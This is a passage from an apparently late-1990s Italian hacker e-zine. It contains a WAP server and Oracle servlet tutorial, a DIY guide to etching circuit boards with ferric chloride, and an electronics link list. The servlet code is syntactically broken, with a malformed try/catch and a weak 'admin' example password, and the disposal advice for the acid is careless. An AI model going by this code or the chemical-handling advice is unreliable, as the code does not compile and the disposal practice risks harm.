non accada bisogna avere un dispositivo di Switched che appunto "Switchi" (o splitti o
come meglio credete basta che il concetto sia chiaro) le chiamate di ogni utente
su una linea non ancora occupata da un altro. Questa signori miei è roba da Provider,
quindi se volete implementare il vostro server Wap a casa potete farlo, ma accontentatevi
di poterci navigare uno alla volta.......o magari fate espandere le vostre linee ISDN da
2 a 8 :)

Allora quello che serve per implementare un server Wap è:

* Un Modem
* Il software del server della Nokia
* Le Java Runtime Environment
* Un telefonino cellulare compatibile con il protocollo Wap (e qui sono cazzi).
* Il RAS Server attivo (tramite questo servizio il modem si metterà in AutoAnswer)
con almeno un utente creato.

Installate le JRE e dopo, solo dopo, installate il Nokia Wap Server (l'installazione
in modo dettagliato è illustrata nei file di testo distribuiti assieme a questo).

Dopo aver portato con successo queste operazioni settate il modem in AutoAnswer
manualmente in modo da vedere se a priori ci sono problemi (questo passo non è
proprio necessario, è solo per accertarsi che tutto funzioni correttamente). Per
fare ciò da una qualsiasi terminal window (hyperterminal sotto windows 95/98 Nt)
digitate:

ATS0=1

Chiudete la sessione di HyperTerminal e tirate su dai Services del Control Panel il RAS
Server. Adesso telefonate
al vostro numero di telefono per vedere se il modem risponde.... dovrebbe comunque
accendersi la luce "AA" del modem.

A questo punto bisogna progettare una servlet (scritta rigorosamente in java),
compilarla ed immetterla all'interno della cartella "servlets" del vostro Web Server.
Non importa se il WebServer sia locale o remoto, basta che l'abbiate. Vi consiglio
comunque di installare l'Apache Web Server con il supporto Java Server versione 1.3.9

Adesso la servlet deve essere registrata come servizio accessibile all'interno
del file zone.properties; l'ultimo passo
è scrivere la chiamata alla servlet una volta connessi al server Web, rigorosamente
in Wml. Questo è il disegno:

------------
------------ + Apache +
+---------------> +Wap Server+ +-----> + WebServer+
| ------------ | ------------
---------- | | |
+ Client + | | |
---------- | | --------------
------------ | + Servlet +
+ Applicaz.+ <--------------> + Registrata +
+ in Wml + --------------
------------


La situazione funziona in questo modo.

Il client chiama il numero del telefono del server Wap (il numero del modem insomma);
quest'ultimo è agganciato ad una applicazione scritta in Wml, che ad un certo
punto può richiamare (o lo fa immediatamente) una servlet registrata in un
WebServer. I dati a questo punto vengono rispediti indietro dalla servlet all'applicazione
in Wml che li ripassa al Wap Server che a sua volta li rende visibili al client.

Alternativamente la servlet può collegarsi ad un altro servizio per ottenere delle
informazioni, non so magari ad un database oracle a cui passare determinate query
da risputare indietro all'applicazione Wml.


Fin qui tutto TEORICO, adesso veniamo ad un pò di PRATICA :)

Vogliamo creare la seguente situazione:

------------
------------ + Apache +
+---------------> +Wap Server+ ---------------> + WebServer+
| ------------ | ------------
---------- | | |
+ Client + | | |
---------- | | --------------
------------ | + Servlet +
+ Applicaz.+ <-----------------> + Registrata +
+ in Wml + --------------
------------ |
------- |
+ DB + <----- Esecuzione di una Query in un DBORACLE----+
-------


La cosa mi sembra molto chiara. Il client chiama il server WAP che
è agganciato alla solita applicazione in Wml che ad un certo punto
richiama una servlet che si collega ad un DB effettuando una query e facendo
ritornare indietro ogni sorta di dato.


Tralasciando il fatto di come installare le JRE (dovrete in pratica
eseguire solo il file .exe), di come installare il Nokia Wap Server (la cui
installazione è già molto ben descritta nei file di testo interni ad esso),
e tralasciando inoltre come installare un Web Server passerei
direttamente alla servlet che deve essere scritta in Java.

Il codice commentato è il seguente. Io l'ho compilato con il JBuilder 2,
ma state sicuri che se avrete la path settata in modo ordinato, anche
con un semplice javac riuscirete a compilarlo. Se avete un compilatore
Java grafico come quello sopra citato allora le uniche librerie java
che dovrete procurarvi sono le JSDK e le THIN-ORACLE. Il primo è un singolo
file .jar, il secondo è contenuto già all'interno dei più moderni
classes.zip e vi servirà come supporto per il collegamento ad un database Oracle.
Se siete così pazzi da voler usare javac manualmente.....,bhè, allora
installate le JDK :) Tutto ciò citato fino ad ora dovreste trovarlo
nel sito della sun : www.sun.com e www.javasun.com se non erro :)))

Eccovi quindi il codice in Java opportunamente commentato.... là dove
ce n'è di bisogno naturalmente:

----------------------------------------------------------------------------
inizio query.class
----------------------------------------------------------------------------

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class query extends HttpServlet {

public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {

Connection con = null;
Statement stmt = null;
ResultSet rs = null;

res.setContentType("text/vnd.wap.wml");
PrintWriter out = res.getWriter();

/* Fin qui non c'è niente da dire, settiamo i valori delle variabili e
settiamo il ContentType della risposta in un formato leggibile
per il protocollo WAP, appunto in wml. Se invece ci fosse text/html immaginate
in che formato ci verrebbe restituito il tutto? :) */


try {

Class.forName("oracle.jdbc.driver.OracleDriver");

con = DriverManager.getConnection("jdbc:oracle:thin:@IpDatabaseOracle:PortaListener:IstanzaDatabase", "nomeutente", "password");

/* Oh qui bisogna precisare alcune cosette. IpDatabaseOracle sta a specificare
l'ip della macchina a cui la servlet dovrà collegarsi per lanciare la query;
PortaListener sarebbe la porta alla quale il database accetta delle connessioni
(solitamente la 1521)
per simulare una transazione come se si fosse in locale con SQLPlus;
IstanzaDatabase (per i veterani denominato SID) sta invece a specifare
il nome del database a cui ci si deve connettere, con il relativo nomeutente
e password dell'amministratore di quel database. Un esempio potrebbe essere questo:

con = DriverManager.getConnection("jdbc:oracle:thin:@10.12.80.80:1521:DBITA", "dbitadm", "admin");
In questo modo ci colleghiamo al database presente in 10.12.80.80 alla porta 1521;
il suo nome è DBITA, mentre l'utente che ha su di esso privilegi di amministratore si chiama
"dbitadm" ed ha come password "admin".
*/


stmt = con.createStatement();

rs = stmt.executeQuery("SELECT righedellacolonna FROM tabella");

/* Qui abbiamo una semplice ma vera e propria query. Con questa diciamo di
selezionare tutte le righe della colonna denominata "righedellacolonna"
e presente nella tabella denominata "tabella". Queste naturalmente sono
da modificare secondo le proprie necessità. */


out.println("<wml>");

/* Cominciamo a costruire gli header di visualizzazione per il client
che supporta WAP */


while (rs.next()) {
out.println("<p>" + rs.getString("righedellacolonna"));
out.println("</p>");
}

/* Avviamo un ciclo di lettura e diciamo di visualizzarci tutto il contenuto
delle righe della colonna denominate "righedellacolonna", e per ognuna
di esse diciamo che devono essere visualizzate in modo formattato tramite
l'header <p> */


out.println("</wml>");

catch(ClassNotFoundException e) {
out.println("Non posso caricare i driver del Database: " + e.getMessage());
}

catch(SQLException e) {
out.println("SQLException: " + e.getMessage());
}

/* Visualizziamo il tipo di errore che potrebbe venirci ritornato in
caso di fallimento della servlet, o a causa di una Classe non trovata
oppure a causa di una eccezione SQL */


finally {
try {
if (con != null) con.close();
}
catch (SQLException ignored) { }

/* In fine controlla se la connessione è ancora attiva e se è così chiudila */

}
}
}
----------------------------------------------------------------------------
fine query.class
----------------------------------------------------------------------------

A questo punto sbattete la servlet dopo averla opportunamente compilata sotto
la cartella servlets del vostro Apache Java Server, modificate il file
zone.properties come segue:

sotto la voce Startup Servlets aggiungete:
servlets.startup = nomedellaservlet


sotto la voce Servlet Aliases aggiungete:
servlet.nomedellaservlet.code = nomedellaservlet

A questo punto assicuratevi di aver settato la path in modo giusto per
far trovare le librerie che servono alla vostra servlet, modificando
ciò che c'è da modificare nei file di configurazione dello Apache
Web Server.....
.......e createvi una piccola applicazione in wml (vi garantisco che è una vera
cazzata , la sintassi è molto simile allo Html; dal sito della Nokia potrete
scaricarvi tutta la documentazione di cui avete bisogno, magari utilizzando
il servizio di ricerca). Tale applicazione in wml dovrà richiamare appunto la
servlet.... un pò come creare il link di un sito in html.

Adesso agganciate questa applicazione in wml direttamente al Nokia Wap
Server (si può fare tramite GUI o tramite linea di comando) e siete a posto.
Se avete il Nokia Wap Toolkit potrete simulare il tutto senza avere un
telefonino che supporti il protocollo WAP.... altrimenti se siete sculati
ed avete già ricevuto il cellullare giusto per natale, potete fare le
prove direttamente dal VIVO.

Per oggi è davvero tutto. Mi scuso solo se a volte sono stato poco chiaro
in alcuni passi per l'implementazione di un server Wap, ma sapete, è bello
scoprire di saper fare certe cose da soli... spremendosi le meningi, (come sono
sicuro che farete voi non avendo tutto in un piatto d'argento);e poi io con ste
cose ci lavoro, non vorrete mica togliermi lo stipendio nè? heheh
Byez alla prossima

[Crediti]

* Scazzamenti vari su Altavista, Lycos e via dicendo....
* Un Libro acquistato in Canada da un conoscente sulle Servlet di cui non
ricordo il titolo...... :)
* Documentazione scritta dalla Nokia e reperibile nel loro sito.


[Saluti e baci a tout le monde]

Un saluto particolare ad un simpatico personaggio che mi ha scambiato i Savage Garden
per i Savatage :)

Un Hyppi Hurrà agli Iron Maiden ed il loro nuovo album che attendo
impazientemente

A quella bonazza di una ragazza che ho visto l'ultima volta verso la fine di luglio
in un bar di Roma e che forse tra poco tempo riuscirò finalmente a conoscere....
Ti penso sempre G...a !!

Ciao Ciao.

Megan Gale RuleZ

xabino@freemail.it


#---[Circuiti fatti in casa ]----------------------------------------+RigoR MorteM+---#


Come farsi i circuiti in casa (dalla vaschetta all'acquario)

Anzitutto un grazie va a \sPIRIT\ per avermi dato l'idea di spiegare un pochino di nozioni di base sull'elettronica ,speriamo che almeno servano a qualcuno :-]
I rudimenti e la lista dell'attrezzatura base necessaria, nonchè la teoria d'uso li trovati su Wannabe, reperibile su www.attilahack.cjb.net opure in mirror su www.spippolatori.com, ve ne consiglio la lettura,altrimenti non ci capirete na sega :-] Per la spiegazione di come farsi in casa un fotoincisore è stato pubblicato un mio articolo su A.I.S reperibile a http://aisprod.tsx.org oppure,come al solito, in mirror su www.spippolatori.com ,decidete voi se scaricarla , a mio avviso ne vale la pena...
Ed adesso , in emulazione dichiarata di tutto lo staff di BfI....
Musica ascoltata :
The Chemical Brothers : Surrender
Guano Apes : Proud Like a God
Rancid : Gun
Si ringrazia Harlok per gli mp3 :-]

-Piccola introduzione-
Allora, io ho sempre letto con interesse tutte le riviste di elettronica che mi capitavano sottomano ma prima di iniziare a realizzare qualunque cosa mi ponevo sempre un grosso problema: come cazzo mi faccio la basetta?
Ora , non che io sia un perfezionista,ma usare sempre e solo basette millefori lo trovo noioso e non molto pratico, specie se i componenti da montare sono molti e si è quindi costretti ad usare chilometri di fili per ovviare alla mancanza di piste.Poi un giorno mi è venuta l'illuminazione: costruirmi da solo le basette!
So che è una cosa scontata , ma che volete, avevo 12 anni!Così sono andato dal mio fido negoziante ed ho comprato una basetta vi vetronite ed un pennarello per disegnarci sopra i circuiti.Dato che io come disegno a mano libera ho sempre fatto cagare potete immaginare i risultati :-[
Eppure i circuiti che vedevo sulle riviste...Così ho scoperto l'uso dei trasferibili con tutte le piazzole già pronte,con la giusta spaziatura,le piste già pronte , insomma, una comodità non da poco! E così i miei circuiti sono venuti decisamente meglio!Poi mi sono posto il problema di come levare il rame in eccesso, ed ho scoperto il cloruro ferrico.
Si tratta di un liquido marroncino che corrode tutto il rame in eccesso dalle vostre basette disegnate o create con i trasferelli , ed è praticamente l'unica cosa che io conosca che fa ciò...
Bene, finita la premessa adesso vi spiego un paio di cose sul cloruro ferrico!
Non potete semplicemente buttare la vostra basetta disegnata nel clururo ferrico e dimenticarvene, dovete aspettare per lo meno 4 ore prima di avere la basetta pronta...
Oddio, se non avete fretta...
Tenete presente che un litro di cloruro costa circa 12.000 lirette , e dopo 2-3 incisioni lo dovete buttare...
NON sognatevi di buttarlo nel cesso o giù dal lavandino come se fosse brodo, vitrovereste nel migliore dei casi a dover cambiare tubi e non è molto piacevole...
Potete fare come me,cioè metterlo in una bottiglia vuota e ben tappata, poi buttatela nella spazzaura.Ok, non sarà poi molto ecologica come cosa, ma vi salvate le tubature....
Adesso vi spiego come risparmiare un pochino usando il cloruro ferrico...
Usatene poco, sempre poco,ed in un recipiente adeguato!
Per avere tempi di incisione molto bassi ci sono molti metodi, mo ve li spiego:

/1/
Vaschetta di plastica
Si tratta di usare una vaschetta di plastica con poco liquido dentro, il circuito messo con la parte ramata verso l'alto ed agitare con le mani [GUANTATE] il tutto, in modo da velocizzare il processo.Ci vogliono almeno 15 minuti prima di avere l'incisione a buon punto , 20 circa per avere il circuito pronto.Io come vaschette uso quelle dei petti di pollo AIA di polistirolo ,costano na sega ma hanno lo svantaggio di assorbire le particelle di rame che vengono erose.
Se avete in tasca un po di soldi consiglio le bacinelle da fotografi ,ma sono una sciccheria !

/2/
Vaschetta Lego
Questa è un parto della mia fantasia malata, e la ho ottenuta con una vaschetta di polistirolo AIA, un po di pezzi di Lego e Lego Technic e un motore Lego a 12V.Paticamente ho costruito una piattaforma sulla quale incastrare la vaschetta con sotto un pochino di ingranaggi per fare in modo che la piattforma si inclini di pochi gradi a destra e di pochi a sinistra , in modo da ottenere una circolazione costante del liquido.Ho usato dei pezzi della mia bellissima ruspa cingolata, utilissima, a dire il vero, dato che i cingoli sono diventati la catena di trasmissione...
Se ci ragionate un pochino, e se usate una delle ruote dentate grosse attaccata direttamente all'albero del motore , ed una ruota piccola attaccata ad un lato della ruota grossa, capite subito come fare :-]
Appena possibile (ovvero appena finisco il rullino) metterò on line un pochino di fotografie...

/3/
Acquario
Questa indea mi girava in testa da un po, ma mi sono sempre bloccato sul fatto che mi serviva una pompa da acquario, del costo di una 50ina di milalirette...
Ieri, per botta di culo mostruosa, ho trovato nella spazzatura vicino a casa un'acquario completo...
Quando dico completo, vuol dire completo, ovvero con tutti i vetri, la pompa, il riscaldatore, i neon ,l'ossigenatore , la sabbietta , un'anfora ornamentale e 5 piantine...
Ovvio che lo ho preso e me lo sono portato in garage...
Ma la gente è proprio cogliona!
Cazzo, si era solo bruciato lo starter dei neon!
Beh, ,meglio per me...
Considerando che per avere una quantità di liquido decente nell'acquario ce ne vogliono almeno 10 lirtri, a 12.000 al litro fanno la bellezza di 120.000 quindi ho provveduto a trasferire le parti vitali in una vaschetta più piccola.
Adesso viene la parte interessante....

Legenda :
$ per ricconi
< per risparmiatori
* necessario
! facoltativo

Ingredienti:
* pompa da acquario, portata 150 litri/ora o più
! riscaldatore da acquario (in ampolla di vetro)
!ossigenatore di capacità a piacere e relativo tubo


$ bacinella di plastica per tartarughe o bacinella da fotografo
oppure
< contenitore 'Mastellino Sammontana' da 2.5 litri di gelato (il mio era alla fragola,ma anche altri gusti vanno bene :-])

$ tubo di pvc lungo 20 cm diametro 10cm con tappo ad un'estremità
oppure
< bottiglia di Sprite di plastica da 1.5 litri tagliata a 20 cm dalla base

$ tubo snodato in plastica per telefoni da doccia
oppure
< 50 centimetri di tubo di plastica con lo stesso diametro delle bocchette della pompa

$6 morsetti modello mammut
oppure
<nastro isolante

Varie per rendere più appetibile :
griglia di plastica
fascette serracavi
fascette serratubi

E adesso di inizia a costruire qualcosina....

Allora il gioco si fa interessante?
Bene, ed adesso vi spiazzo!
Conoscete il principio dei vasi comunicanti?
NO?
E cosa siete andati a scuola a fare? Mah, studiatevelo, dato che questa mia idea si basa su questo principio ben noto!
Adesso, piccolo schema di come è costruito il mio apparato:

--->
+--------------------------+
¦+------------------------+¦
^ ¦¦ ¦¦
| ¦¦ + + ¦¦
| ¦¦ ¦ --+¦
¦¦ ¦ § § ---+
¦ ¦¦ ¦ ¦ § ¦
¦ ¦¦ +---+§§§§§§§§§§§§§§¦
¦§§¦¦°§§§§§§§§§§§§§§§§§§§§§¦
¦§§¦¦°§§+---+§§§§§§§§§§§§§§¦
¦§+++-+§¦ +--------------+
¦§¦ p ¦§¦
¦§+---+§¦
¦§§§§§§§¦
+-------+

Il carattere § rappresentea il liquido, il quadrato con la p è , logicamente , la pompa, i caratteri ° sono l'entrata della pompa mentre il tubo che esce dalla pompa ed entra nella vasca è il flusso in uscita del liquido.
Il contenitore alto e stretto è la bottiglia di Sprite tagliata (sono molto contrario al tubo di PVC come avevo scritto,il tubo costa,la bottiglia di sprite NO) con dentro la pompa.Quest'ultima DEVE essere immersa nel liquido, tranquilli che non si corrode, altrimenti il motore grippa e la dovete buttare nel cesso...
Il contenitore basso invece, per esclusione, è il barattolino Sammontana con un buco a 3.5 cm dal fondo, sul lato stretto, con innestato un pezzo di manichetta da giardino che si collega alla bottiglia in modo da mantenere il livello del liquido uguale nei due contenitori (anche qui vale il discorso del tubo di PVC, perchè usare il tubo da doccia che costa di +, se non per ragioni estetiche?).Capite adesso perchè il principio dei vasi comunicanti?
La basetta da incidere va messa al centro del barattolino in modo che riceva il getto di acido direttamente sopra.
La base del giocattolino è questa, le migliorie da fare , a mio avviso , sono quelle che ho fatto io , cioè:

-1-
Griglia di plastica da mettere qui...
+ +
¦ -
¦ -
¦ \\ ¦
--+§§\\§§§§§§§§§§¦
§§§§§§\\§§§§§§§§§¦
--+§§§§\\§§§§§§§§¦
+--------------+

\\ = griglia
Beh, più o meno la posizione è quella, insomma, dovete mettere la griglia in modo che il flusso del liquido cada sopra alla griglia, sulla quale voi,ovviamente,metterete la vostra basetta.

-2-
Riscaldatore da acquario modello 'Euraquarium 20'
Il riscaldatore si presenta in un tubo di vetro della lunghezza di 18 cm e del diametro di 2.5.Un'estremità è a bulbo con la resistenza riscaldante in fondo ed all'altra estremità un tappo con il filo di alimentazione che fuoriesce.
Fissate il riscaldatore ad una parete della bottiglia con la parte riscaldata verso il centro della bottiglia in modo che non riscaldi le pareti oppure lasciatelo fluttuante, basta che non tocchi le pareti.Insomma, guardate il disegno!

alla 220v ¦¦
| ¦¦
¦ | ¦¦ ¦
¦ | ¦¦ +-
¦§§**§§§¦¦°§§§§
¦§§**§§§¦¦°§§+-
¦§§**§§+++-+§¦
¦§§**§§¦ p ¦§¦
¦§§**§§+---+§¦
¦§§**§§§§§§§§¦
+-------------+

Come potete intuire gli asterischi sono la sonda....

-3-
Irrigatori modello 'Gardenia Giardino'
Beh,dai, non ridete!Avete mai visto i giardini con gli spruzzatori con un'arco di 180° ?
Ne ho trovati 6 sepolti nella cassetta delle cianfrusaglie di mio cugino e me ne sono appropriato...
Al posto del tubo di immissione del liquido ho usato 3 irrigatori messi in serie in modo che gli spruzzi coprano uniformemente la basetta.

-4-
Ossigenatore da acquario.
Come per tutti gli altri componenti, anche questo pezzo fa parte dell'acquario che ho trovato...
L'ossigenatore non è altro che una piccola pompa (NON a immersione) con un tubicino ad una estremità.A capo del tubicino c'è un pezzetto di pietra porosa.Quando l'aria esce dalla pietra porosa,che si trova immersa nel liquido, si creano centinaia di piccole bolle che salgono lentamente a galla.Secondo le istruzioni d'uso del cloruro ferrico l'ossigenazione aiuta in maniera notevole il processo, ma a me non pare...
Cmq, ho provato a mettere l'ossigenatore sia nella bottiglia sia nella vaschetta ma non ho avuto risultati degni di nota. anche immergendo il circuito ed eliminando gli irrigatori.
Fate voi, se ve lo dovete comprare a mio avviso non ne vale la spesa...

Ultime note...
Tutto il progetto lo ho assemblato usando la colla a caldo come isolante al posto del silicone.Il silicone costa una cifra e non riesco mai a finirne un tubo, così per lo meno la colla non costa un cazzo (basta rubarla alla cassetta degli attrezzi del cugino) ed isola ugualmente.La pompa e il riscaldatore sono alimentati a 220V ed assorbono , in complesso, 80W , 50 per la pompe e 30 per il riscaldatore.Tutta la parte di tubi è stata realizzata usando un normale tubo di gomma da giardino isolato con la colla a caldo e fascette serratubi di metallo (150 lire cadauna).Per il fissaggio dei tubi con l'impianto di irrigazione Gardenia ho usato 3 tubi di diametro più piccolo innestati sulla gomma da giardino, tenuti fermi da colla a caldo e un paio di giri di nastro isolante.Il tutto è stato montato con la colla a caldo do una base di legno che era il vecchio coperchio del mio fotoincisore,cioè era in origine una cassetta di pere...
Consiglio di montare 2 interruttori indipendenti per la pompa e per il riscaldatore in modo da poter attaccare quest'ultimo prima di accendere la pompa (almeno 10 minuti) in modo da avere la soluzione già calda per il momento giusto.
Io di solito quando devo fare dei circuiti accendo il riscaldatore, metto il circuito nel fotoincisore (5 minuti d'orologio) accendo la pompa per un'attimo (in modo che vada un po in circolo il liquido caldo), sviluppo la basetta con il rivelatore di photoresist e la metto su un pezzo di carta.A questo punto accendo e lascio accesa la pompa, asciugo la basetta , mi metto i guanti e metto la basetta sotto il getto dell'acido.
Beh, non ho alro da dire, se non che il progettino funziona a meraviglia e per incidere una basetta 10 per 15 ci metto circa 6 minuti.E non mi scasso le palle a scrollare la bacinella come prima :-]]
Bene, spero di avervi dato una buona idea, per chi volesse fare 2 chiacchere sono reperibile a
rigormortem@spippolatori.com
Buon divertimento!
RigoR MorteM - SPP 98-99


#---[Linkarium]------------------------------------------------------+RigoR MorteM+---#


Linkarium Elettronicae

Diciamo che questo è un'articolo semi-conclusivo per tutti quelli che sono riuscito a contagiare con la mia passione/follia per l'elettronica, qui sotto infatti troverete un bel po di links a siti sia italiani che stranieri in modo da darvi un punto di riferimento nella rete...
Iniziamo subito con i siti dedicati ad una mia grande passione : i lego ed i robot!!!

LEGO MINDSTORMS
http://www.legomindstorms.com/fll/
ADEQUATE.com Lego Maniacs' Search
http://www.adequate.com/lego/maniac/
Build the LEGObug
http://lcs.www.media.mit.edu/people/fredm/projects/legobug/index.html
COOL LEGO PROJECTS
http://www.pcsedu.com/pcs/quest/back/mar_96/legos.htm
CS148
Lego Robots
http://www.cs.brown.edu/people/asf/legobot.html
Lego Robot models of trace fossils
http://www.shef.ac.uk/~abrg/tony/evolution/AISB97.html
LEGO(r) PNEUMATICS PROJECTS
http://www.weirdrichard.com/pneu2.htm
PC's LEGO Empire
http://www.cs.dartmouth.edu/~crow/lego/
The Lego Swarm
http://www.hut.fi/~mhanhisa/kuvat/robotti.html
VUB Arti robotic agents, lego-robots
http://arti.vub.ac.be/~cyrano/ROBOTS/lego.html
Writing programs with ICOBotics(TM)
http://www.micro.caltech.edu/icobotics/programming.html
Arrick Robotics
PC-Based Motion Control Products
http://www.robotics.com/
collectible toy robots and space toys
http://www.cybertoyz.net/
Mondo-tronics' Robot Store --- Robots Kits, Muscle Wires, SMA's, Electronics, Parts, and More!!! ---
http://www.robotstore.com/
Novateck Robotics
http://www.newmedia.it/musicopoli/novateck/novateck.htm
Robot Books.com
Robot Kits, Robotics, and Toy Robots
http://www.robotbooks.com/
Robot Resource Page
http://home.quicknet.com.au/andrewm/robot/index.html
Robotics Resources
http://www.southwest.com.au/~jfuller/robotic.html
Lynxmotion Robot Kits
http://www.lynxmotion.com/

Correlato al discorso robot logicamente ci sono i motori passo passo, necessari ai robot....
E allora beccatevi questo!

HVW Technologies
http://www.hvwtech.com/
Indice del corso sui motori passo-passo
http://www.geocities.com/SiliconValley/Lab/9128/passopasso.html
Nanotec
http://www.nanotec.de/
The Stepper Archive
http://www.wirz.com/stepper/

Poi passiamo ai siti dedicati ad un'altra delle mie passioni : capire

  
che cazzo combinano le porte seriali , e se il mouse ed il modem sono oramai in ogni seriale, vedete un po di capire come funzionano e cosa potete attaccare alle vostre seriali libere!

Interfacing The Serial RS-232 Port
http://www.geocities.com/SiliconValley/Bay/8302/serial.htm
Serial Communications
http://www.rdrop.com/~cary/html/serialportdocs.html
Welcome To Keith's RS232 library page
http://www.ent.ohiou.edu/~welker/rs232/

E per la porta parallela?
Solo la stampante avete collegato?
O magari anche lo scanner...
Ok, ma come funzionano?
Provate un pochino a capirlo...

Digital joystick adapter for the PC
http://www2.burg-halle.de/~schwenke/parport.html
IBM-PC Parallel Printer Port - Reading & Writing Data
http://www.doc.ic.ac.uk/~ih/doc/par/doc/data.html
Parallel port interfacing basics
http://www.ucl.ac.uk/~ucapwas/pportbas.html
The PC's Parallel Port
http://www.lvr.com/parport.htm

Bene, le cose basilari le avete, adesso andiamo sui link che possono sempre tornare utili : i motori di ricerca!!!

Alex's Electronic Test Bench
http://www.iserv.net/~alexx/
Chip directory
http://www.chipdir.com/chipdir/index.htm
ChipCenter The Web's First Definitive Electronics Resource
http://www.chipcenter.com/
EE Design Center - QuestLink Technology Integrated Circuits, Boards, EDA Tools, Discrete Devices
http://www.questlink.com/ssuid:S8O9D000sAk00029e3YAPHFpO1/
ELECTRONIC DESIGN LABORATORY RESOURCES - ELECTRONIC COMPANIES
http://www.ele.auckland.ac.nz/info/techos/design/electro.htm
Pin-Outs.Com Directory - Technical Information
http://www.pin-outs.com/
RadioLocman- Electronic recourses and schematics for engineers and amateurs
http://www.rlocman.com.ru/en/

Pare che qualcosa stia iniziando a venire fuori...
Adesso andiamo ancora un po avanti...
Avete voglia di leggere e conoscete l'inglese?
Beccatevi questo...

ElectronicAustralia
http://www.electronicsaustralia.com.au/pastcont/julycont.htm
Electronics Express Europe
Europe's premier electronics industry magazine
http://ww2.infoxpress.com/ebp/ee/
Electronics Now! and Popular Electronics
http://www.gernsback.com/index.html
Electronique Pratique
http://www.eprat.com/
Elektor Electronics - The electronics and computer magazine
http://www.elektor-electronics.co.uk/
Elettronica Flash home page
http://www.elflash.com/
Elettronica Oggi
http://www.vnu.jackson.it/EO/
ET the TECHNOLOGY INTERFACE
http://et.nmsu.edu/~etti/fall96/
Fare Elettronica On Line
http://www.farelettronica.com/
Home page di Nuova Elettronica
http://www.nuovaelettronica.it/
Home Toys - Home Automation and Networking Resources
http://www.hometoys.com/
Welcome to Electronics 2000.com
http://www.electronics2000.com/

Poi, vediamo cosa tiro fuori dal mio bookmark...
Siti prono free?
No, dai, facciamo le persone serie...
Magari adesso volete un po di circuiti con i quali giocherellare e fare pratica?
Mah, io ve li metto, poi sta a voi farli...

4QD Electronics Circuits Reference Archive
http://www.4qd.co.uk/ccts/index.html
Circuits in the Circuits Archive
http://www.ee.washington.edu/eeca/circuits/
Claudio Lanconelli LancOS Home Page
http://www.cs.unibo.it/~lanconel/
Downloadable Circuits
http://www.electronicsforu.com/efyhome/circuit/morecir.htm
Electronic Circuits
http://www.aaroncake.net/circuits/
Poptronix(r) Online Electronics Construction Project Archive
http://www.poptronix.com/articles/index.html
The Electric wave
http://www.geocities.com/CapeCanaveral/Lab/5185/electronics.html

Poi, che altro?
Un pizzico di follia che male non ci sta mai?
Massi'.....

Bert Pool's Place (armi e EMP)
http://users.ticnet.com/bertpool/
FuckU-FuckMe. Changing the feel of communication.
http://www.fufme.com/
Got a Match- iPic web server
http://www-ccs.cs.umass.edu/~shri/iPic.html
PLANS AND KITS UNLIMITED (armi elettroniche)
http://www.plans-kits.com/index1.html

E adeso?
Basta?
No, non ho ancora sonno, quindi continuo a scrivere :-]
Allora, un po di testi e corsi sparsi vi interessano?
Lo spero ....

4QD Electronics Circuits Reference Archive
http://www.4qd.co.uk/ccts/index.html
8052.COM
Corso 8051 Indice
http://www.geocities.com/SiliconValley/Garage/1748/8051/tut8051.htm
Appunti on line
http://members.xoom.it/stor/main/main.htm
B & B Electronics Mfg. Company's Product Data Sheets-Literature Index
ftp://ftp.bb-elec.com/bb-elec/literature/.index_l.html
Electronics for Beginners (Inroduzione)
http://tanzilli.com/users/atomino/efb/index.htm
HwB The Hardware Book
http://www.hwb.acc.umu.se//
Index of -pub-electronics-ftp.armory.com
http://ftp.unina.it/pub/electronics/ftp.armory.com/
Microcontroller and Electronic Project Page
http://www.proaxis.com/~iguanalabs/micropro.html

Vi serve un componente che non riuscite a trovare o che magari non sapete neppure esistere?
Beh, chiedete un catalogo, no?
La maggior parte di questi siti vi manda il catalogo cartaceo, altrimenti vi tocca il download di un bel pdf...
Piccola pubblicità : per chi è interessato, si dia un'okkiata a http://cadaveria.hypermart.net....

All Electronics New-Surplus Electronic Electro-Mechanical Parts and Supplies
http://www.allelectronics.com/
ASA Micros PIC Support Home Page
http://www.asamicros.com/
B+K Precision Home Page
http://www.bkprecision.com/
Benvenuti in Weidmüller Italia
http://www.weidmuller.it/
CH Products OEM Positioning Controls
http://www.chproducts.com/oem/index.html
Componentweb - Component on the World Wide Web
http://componentweb.com/index.htm
Crownhill Associates Limited
http://www.crownhill.co.uk/
Display Electronics- Europe's largest surplus stockist 16,000,000 items from stock
http://www.distel.co.uk/
Distrelec-Disdata-Distop - More than 40'000 products online !
http://www.distrelec.com/
DPM Elettronica
http://www.dpmelettronica.it/
DTE MICROSYSTEMS ON-LINE CATALOG
http://www.u-net.com/epr/dte/dte.htm
Electronic Servive
http://www.eservice.it/
Elettronica Nobile On Line
http://www.elettronicanobile.com/
ELETTROSHOP lo shop virtuale dedicato all'elettronica
http://www.elettroshop.it/
Europart
http://www.europartnet.com/
GIAMPER componenti elettronici
http://www.giamper.com/
Grayhill, Inc. Home Page
http://www.grayhill.com/
Leading Edge Technology
http://let.cambs.net/
Magenta Electronics Ltd.
http://www.magenta2000.co.uk/
Maplin Electronics - 1999 Online Catalogue
https://catalogue.maplin.co.uk/main.tpl?command=NewCart
MECI - Surplus Electronics - Mendelson's Electronics Co., Inc.
http://www.meci.com/
Micromint, Inc. Single Board Computer
http://www.micromint.com/
Mouser Electronics, Distributor of Electronic Components
http://www.mouser.com/
MPJA - Electronic Mail Order Supplier
http://www.mpja.com/
NTE Electronics, Inc.
http://www.nteinc.com/
RadioShack.com
http://www.radioshack.com/
RS Components Catalogo
http://catalogo.rs-components.it/
Stock Drive Products - Sterling Instrument_Gears, bearings, timing pulleys and belts, drive components.
http://www.sdp-si.com/
Surplus Electronics and Computer Parts
http://www.eio.com/
Welcome to JDR Microdevices!
http://www.jdr.com/interact/default.asp
Welcome to Newark Electronics
http://www.newark.com/
Zorin HC11 Microcontroller Products
http://www.zorinco.com/

E fin qui tutto ok...
Ma siccome so che è più facile costruire un kit che creare un circuito da zero vi metto anche qualche url di chi vende kit o scatole di montaggio....

Artek
http://www.artek.it/
Centerpointe Electronics Store HOME PAGE
http://www.shopsite.com/fredb/
Electronic Kits - Project Kits
http://www.hallbar.com/
Electronic Kits and Plans, Spy Security Surveillance Video Cameras and Recorders
http://www.electronickits.com/
Electronic Kits
http://www.xtronics.com/kits.htm
Gateway Electronics
http://www.gatewayelex.com/
Kitrus Designer & manufacturer hobby & educational electronic kits.
http://kitsrus.com/
Magenta Electronics Ltd.
http://www.magenta2000.co.uk/
PAiA Electronics, Inc
http://www.paia.com/
